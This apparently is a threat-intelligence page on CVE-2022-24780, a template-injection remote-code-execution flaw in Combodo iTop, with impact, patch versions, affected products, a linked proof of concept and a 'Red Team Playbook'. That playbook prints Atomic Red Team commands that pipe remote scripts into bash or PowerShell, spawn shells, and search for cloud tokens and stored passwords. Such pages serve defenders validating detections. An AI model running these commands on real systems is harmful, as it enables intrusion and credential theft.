CVE-2022-24780
Overview
This vulnerability is a server-side code injection resulting from improper input validation of TWIG template code submitted via HTTP queries. The affected component is the iTop user portal, which processes user-supplied TWIG code without adequate sanitization, allowing execution of arbitrary code under the HTTP server user privileges. The flaw exists in versions prior to 2.7.6 and 3.0.0 of Combodo iTop.
Vulnerability Description
Combodo iTop is a web based IT Service Management tool. In versions prior to 2.7.6 and 3.0.0, users of the iTop user portal can send TWIG code to the server by forging specific http queries, and execute arbitrary code on the server using http server user privileges. This issue is fixed in versions 2.7.6 and 3.0.0. There are currently no known workarounds.
Impact
An attacker with access to the iTop user portal can execute arbitrary code on the server with HTTP server user privileges by sending crafted TWIG code in HTTP queries. This requires at least limited user privileges (PR:L) but no user interaction beyond sending the malicious request. Exploitation can lead to full compromise of the server environment, including data breaches and service disruption, as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
Solution
Users should upgrade Combodo iTop to versions 2.7.6 or 3.0.0 or later where this vulnerability is patched. Detailed remediation steps and patch information are available in the vendor's security advisory at https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54. No known workarounds exist, so applying the official update is mandatory to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the web-based IT Service Management tool, Combodo iTop, allows users of the iTop user portal to send TWIG code to the server through crafted HTTP queries. This flaw arises from inadequate input validation and sanitization, enabling unauthorized execution of arbitrary code on the server with the privileges of the HTTP server user. The affected versions, specifically those prior to 2.7.6 and 3.0.0, lack the necessary security measures to prevent such code injection, making them susceptible to exploitation. The execution of arbitrary code can lead to severe consequences, including unauthorized access to sensitive data, system compromise, and potential service disruption.
Attack vectors for this vulnerability are primarily web-based, where an attacker can exploit the iTop user portal by crafting malicious HTTP requests that contain the TWIG code. This can be achieved through various means, such as phishing campaigns targeting users with access to the portal or automated scripts that probe for vulnerable instances. Once the malicious code is executed on the server, the attacker can perform a range of actions, including data exfiltration, installation of backdoors, or lateral movement within the network. The ease of exploitation, combined with the potential for significant damage, underscores the critical nature of this vulnerability.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on iTop for IT service management. Successful exploitation can lead to unauthorized access to sensitive operational data, including user credentials, service tickets, and configuration details. This not only jeopardizes the integrity of the IT infrastructure but also poses a substantial business risk, including reputational damage, regulatory penalties, and financial loss. Organizations may face downtime as they respond to incidents, and the fallout from a data breach can have long-lasting effects on customer trust and business continuity.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the fixed versions of iTop, specifically 2.7.6 and 3.0.0, which address the underlying security flaws. Regular patch management practices should be implemented to ensure that all software is kept up to date. Additionally, organizations should employ web application firewalls (WAF) to monitor and filter HTTP traffic, blocking suspicious requests that may indicate an attempt to exploit this vulnerability. Conducting regular security assessments and penetration testing can also help identify potential weaknesses in the application and improve overall security posture.
In conclusion, the vulnerability in Combodo iTop represents a significant threat to organizations utilizing this IT service management tool. The ability to execute arbitrary code on the server poses a serious risk, necessitating immediate action to mitigate potential exploitation. By adopting proactive security measures, including timely updates and enhanced monitoring, organizations can protect themselves from the ramifications of this vulnerability and safeguard their critical IT assets.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the CVE-2022-24780 vulnerability in Combodo iTop. This increase in activity corresponds with the emergence of new proof-of-concept exploits publicly available on GitHub, lowering the barrier for threat actors to conduct remote code execution attacks against vulnerable instances. Our telemetry indicates that adversaries are actively leveraging these exploits to gain unauthorized server-level access, elevating the operational risk for organizations that have not yet applied the necessary patches. Although the EPSS score remains stable, the sharp rise in exploitation attempts signals a growing interest from attackers, which may soon translate into more widespread and impactful intrusions. Consequently, the threat level associated with this vulnerability should be considered heightened, underscoring the urgency for defenders to prioritize detection and response capabilities focused on anomalous activity related to iTop environments.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Combodo | Itop | All |
cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:alpha:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta1:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta2:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta3:*:*:*:*:*:*
|
|
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Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta4:*:*:*:*:*:*
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|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta5:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta6:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta7:*:*:*:*:*:*
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|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:beta8:*:*:*:*:*:*
|
|
|
Combodo | Itop | 3.0.0 |
cpe:2.3:a:combodo:itop:3.0.0:rc:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Acceis/exploit-CVE-2022-24780
iTop < 2.7.6 - (Authenticated) Remote command execution
|
Acceis | 6 | 4 | 2022-09-02 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24780 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305 |
| markus-krell.de |
GitHub CVE
x_refsource_MISC
|
https://markus-krell.de/itop-template-injection-inside-customer-portal/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/167236/iTop-Remote-Command-Execution.html |